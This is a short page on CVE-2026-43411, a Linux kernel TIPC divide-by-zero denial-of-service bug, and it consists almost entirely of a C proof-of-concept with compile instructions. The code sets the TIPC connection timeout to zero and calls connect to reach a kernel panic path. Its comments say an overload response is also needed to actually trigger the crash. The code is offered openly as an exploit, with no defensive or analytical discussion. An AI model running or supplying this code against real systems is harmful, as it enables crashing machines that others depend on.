CVE-2026-43411 Linux Kernel TIPC除零拒绝服务漏洞

/* * PoC for CVE-2026-43411 * Trigger divide-by-zero in Linux Kernel TIPC module * Compile: gcc -o poc_tipc poc_tipc.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/tipc.h> int main() { int sock_fd; unsigned int timeout = 0; // Vulnerable value: < 4 struct sockaddr_tipc addr; printf("[+] Creating TIPC socket...\n"); sock_fd = socket(AF_TIPC, SOCK_STREAM, 0); if (sock_fd < 0) { perror("[-] socket failed"); return 1; } printf("[+] Setting TIPC_CONN_TIMEOUT to %d...\n", timeout); // Setting conn_timeout to a value < 4 triggers the divide-by-zero // when TIPC_ERR_OVERLOAD is encountered. if (setsockopt(sock_fd, SOL_TIPC, TIPC_CONN_TIMEOUT, &timeout, sizeof(timeout)) != 0) { perror("[-] setsockopt failed"); close(sock_fd); return 1; } printf("[+] Attempting to connect to trigger the path...\n"); memset(&addr, 0, sizeof(addr)); addr.family = AF_TIPC; addr.addrtype = TIPC_ADDR_NAME; addr.addr.name.name.type = TIPC_CRITICAL_SERVICE; addr.addr.name.name.instance = 1; // In a real exploit scenario, this connection attempt would need to // result in a TIPC_ERR_OVERLOAD response to hit the vulnerable line. // This code demonstrates the configuration required to trigger the panic. connect(sock_fd, (struct sockaddr *)&addr, sizeof(addr)); close(sock_fd); printf("[*] Exploit finished.\n"); return 0; }